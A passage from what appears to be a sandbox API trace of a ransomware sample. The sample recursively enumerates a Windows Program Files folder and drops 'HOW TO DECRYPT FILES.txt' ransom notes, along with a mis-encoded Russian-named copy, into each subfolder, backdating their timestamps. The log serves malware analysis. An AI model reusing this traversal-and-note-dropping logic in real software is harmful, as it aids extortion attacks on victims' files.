ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0058.082] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.082] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="split.avi") returned -1 [0058.082] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="split.avi") returned -1 [0058.082] lstrcmpiA (lpString1="", lpString2="split.avi") returned -1 [0058.082] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned="ShapeCollector.exe.mui" [0058.082] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.083] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.083] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.083] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0058.083] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="split.avi" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" [0058.083] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0058.083] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.083] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="tabskb.dll.mui") returned -1 [0058.083] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="tabskb.dll.mui") returned -1 [0058.083] lstrcmpiA (lpString1="", lpString2="tabskb.dll.mui") returned -1 [0058.083] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned="split.avi" [0058.083] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.083] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.083] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.083] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0058.083] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="tabskb.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" [0058.083] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0058.084] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.084] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TipBand.dll.mui") returned -1 [0058.084] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TipBand.dll.mui") returned -1 [0058.084] lstrcmpiA (lpString1="", lpString2="TipBand.dll.mui") returned -1 [0058.084] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned="tabskb.dll.mui" [0058.084] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.084] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.084] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.084] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0058.084] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="TipBand.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" [0058.084] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0058.084] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.084] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TipRes.dll.mui") returned -1 [0058.084] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TipRes.dll.mui") returned -1 [0058.084] lstrcmpiA (lpString1="", lpString2="TipRes.dll.mui") returned -1 [0058.084] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned="TipBand.dll.mui" [0058.084] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.084] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.084] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.084] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0058.085] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="TipRes.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" [0058.085] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.085] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.085] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="tipresx.dll.mui") returned -1 [0058.085] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="tipresx.dll.mui") returned -1 [0058.085] lstrcmpiA (lpString1="", lpString2="tipresx.dll.mui") returned -1 [0058.085] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned="TipRes.dll.mui" [0058.085] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.085] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.085] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.085] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0058.085] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" [0058.085] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0058.085] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.085] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TipTsf.dll.mui") returned -1 [0058.085] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TipTsf.dll.mui") returned -1 [0058.085] lstrcmpiA (lpString1="", lpString2="TipTsf.dll.mui") returned -1 [0058.085] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned="tipresx.dll.mui" [0058.086] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.086] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.086] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.086] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0058.086] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="TipTsf.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" [0058.086] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0058.086] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.086] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="es-ES", cAlternateFileName="")) returned 1 [0058.086] lstrcmpA (lpString1=".", lpString2="es-ES") returned -1 [0058.086] lstrcmpA (lpString1="..", lpString2="es-ES") returned -1 [0058.086] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*") returned="*.*" [0058.086] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="es-ES" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES" [0058.086] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.087] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.087] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.087] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.087] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.087] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.087] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.087] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="tipresx.dll.mui") returned -1 [0058.087] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="tipresx.dll.mui") returned -1 [0058.087] lstrcmpiA (lpString1="", lpString2="tipresx.dll.mui") returned -1 [0058.087] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*.*") returned="*.*" [0058.087] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\" [0058.087] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\") returned="" [0058.087] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\HOW TO DECRYPT FILES.txt" [0058.087] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\how to decrypt files.txt")) returned 0xffffffff [0058.088] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0058.090] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.090] CloseHandle (hObject=0x90) returned 1 [0058.091] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" [0058.091] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.091] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.091] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="et-EE", cAlternateFileName="")) returned 1 [0058.091] lstrcmpA (lpString1=".", lpString2="et-EE") returned -1 [0058.091] lstrcmpA (lpString1="..", lpString2="et-EE") returned -1 [0058.091] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*") returned="*.*" [0058.091] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="et-EE" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE" [0058.091] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.094] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.094] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.094] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.094] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.094] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.094] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.094] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="tipresx.dll.mui") returned -1 [0058.094] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="tipresx.dll.mui") returned -1 [0058.094] lstrcmpiA (lpString1="", lpString2="tipresx.dll.mui") returned -1 [0058.094] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*.*") returned="*.*" [0058.094] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\" [0058.094] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\") returned="" [0058.094] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\HOW TO DECRYPT FILES.txt" [0058.094] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\HOW TO DECRYPT FILES.txt" (normalized: 